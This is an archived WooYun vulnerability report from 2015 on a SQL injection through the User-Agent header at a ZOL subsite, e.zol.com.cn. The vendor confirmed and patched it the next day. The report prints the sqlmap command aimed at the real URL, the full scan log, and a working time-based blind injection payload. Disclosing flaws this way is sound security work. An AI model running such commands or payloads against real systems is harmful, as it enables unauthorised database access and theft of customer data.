当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123318

漏洞标题:中关村在线某分站Http消息头SQL注入

相关厂商:中关村在线

漏洞作者: 凌零0

提交时间:2015-06-28 21:43

修复时间:2015-06-29 09:38

公开时间:2015-06-29 09:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-28: 细节已通知厂商并且等待厂商处理中
2015-06-29: 厂商已经确认,细节仅向厂商公开
2015-06-29: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

详细说明:

中关村中关村ZOL恒星系统,在线新营销平台,可泄露大量客户信息,影响不小
问题ip:http://e.zol.com.cn/
>python sqlmap.py -u "http://e.zol.com.cn/Default/Check/" --level 3 -p "user-agent"

漏洞证明:

C:\Users\wjl\Desktop\sqlmapproject-sqlmap-e8f87bf>python sqlmap.py -u "http://e.
zol.com.cn/Default/Check/" --level 3 -p "user-agent"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:57:41
[13:57:41] [WARNING] you've provided target URL without any GET parameters (e.g.
www.site.com/article.php?id=1) and without providing any POST parameters throug
h --data option
do you want to try URI injections in the target URL itself? [Y/n/q] n
[13:57:43] [INFO] testing connection to the target URL
[13:57:43] [INFO] heuristics detected web page charset 'ascii'
[13:57:44] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[13:57:45] [INFO] target URL is stable
[13:57:45] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[13:57:45] [WARNING] User-Agent parameter 'User-Agent' does not appear dynamic
[13:57:45] [WARNING] heuristic (basic) test shows that User-Agent parameter 'Use
r-Agent' might not be injectable
[13:57:45] [INFO] testing for SQL injection on User-Agent parameter 'User-Agent'
[13:57:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:57:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Gen
eric comment)'
[13:58:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MyS
QL comment)'
[13:58:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Mic
rosoft Access comment)'
[13:58:51] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDE
R BY or GROUP BY clause'
[13:59:03] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER
BY or GROUP BY clause (MAKE_SET)'
[13:59:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[13:59:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'
[13:59:16] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace'
[13:59:16] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace (
original value)'
[13:59:17] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace'
[13:59:17] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Par
ameter replace'
[13:59:18] [INFO] testing 'Oracle boolean-based blind - Parameter replace'
[13:59:18] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl
ace'
[13:59:19] [INFO] testing 'SAP MaxDB boolean-based blind - Parameter replace'
[13:59:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY
clause'
[13:59:20] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY
clause (original value)'
[13:59:21] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY
clause'
[13:59:22] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY c
lause'
[13:59:23] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORD
ER BY clause'
[13:59:24] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY claus
e'
[13:59:25] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries'
[13:59:37] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Sta
cked queries (IF)'
[13:59:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[13:59:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[13:59:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[14:00:01] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[14:00:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:00:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[14:00:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[14:00:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[14:00:27] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_
INADDR.GET_HOST_ADDRESS)'
[14:00:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXS
YS.DRITHSX.SN)'
[14:00:40] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[14:00:43] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[14:00:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:00:47] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[14:00:47] [INFO] testing 'PostgreSQL error-based - Parameter replace'
[14:00:48] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace'
[14:00:48] [INFO] testing 'Oracle error-based - Parameter replace'
[14:00:48] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause'
[14:00:48] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause'
[14:00:49] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause'
[14:00:49] [INFO] testing 'MySQL inline queries'
[14:00:49] [INFO] testing 'PostgreSQL inline queries'
[14:00:49] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[14:00:49] [INFO] testing 'Oracle inline queries'
[14:00:49] [INFO] testing 'SQLite inline queries'
[14:00:50] [INFO] testing 'Firebird inline queries'
[14:00:50] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[14:00:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[14:00:57] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[14:01:01] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:01:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:01:08] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[14:01:12] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[14:01:16] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[14:01:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[14:01:31] [INFO] User-Agent parameter 'User-Agent' seems to be 'MySQL >= 5.0.12
AND time-based blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (3) and risk (1) values? [Y/n]
[16:28:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:28:02] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[16:28:07] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns
'
[16:28:12] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[16:28:14] [INFO] testing 'Generic UNION query (random number) - 22 to 40 column
s'
[16:28:23] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[16:28:26] [INFO] checking if the injection point on User-Agent parameter 'User-
Agent' is a false positive
User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep testing the
others (if any)? [y/N]
sqlmap identified the following injection points with a total of 1264 HTTP(s) re
quests:
---
Parameter: User-Agent (User-Agent)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: sqlmap/1.0-dev-nongit-20150609 (http://sqlmap.org)' AND (SELECT * F
ROM (SELECT(SLEEP(5)))FEGa) AND 'GTgn'='GTgn
---
[16:29:18] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
[16:29:18] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\e.zol.com.cn'


S{R5@WGV5KKK]`~BUVO59]Q.png


)QT4ZPEY0O$~N$BXK$%Y]O2.png


9O42S3D20BATW`SCR3R%L_I.png


点到为止

修复方案:

求rank大礼包!!!

版权声明:转载请注明来源 凌零0@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-06-29 09:38

厂商回复:

漏洞已经确认,感谢“凌零0”对我们的关注~~

最新状态:

2015-06-29:漏洞已修复


漏洞评价:

评论

  1. 2015-06-29 09:47 | qdq ( 路人 | Rank:2 漏洞数:1 | 有关部门)

    修复的好快

  2. 2015-06-29 12:15 | anting ( 普通白帽子 | Rank:105 漏洞数:38 | 活到老,学到老)

    fast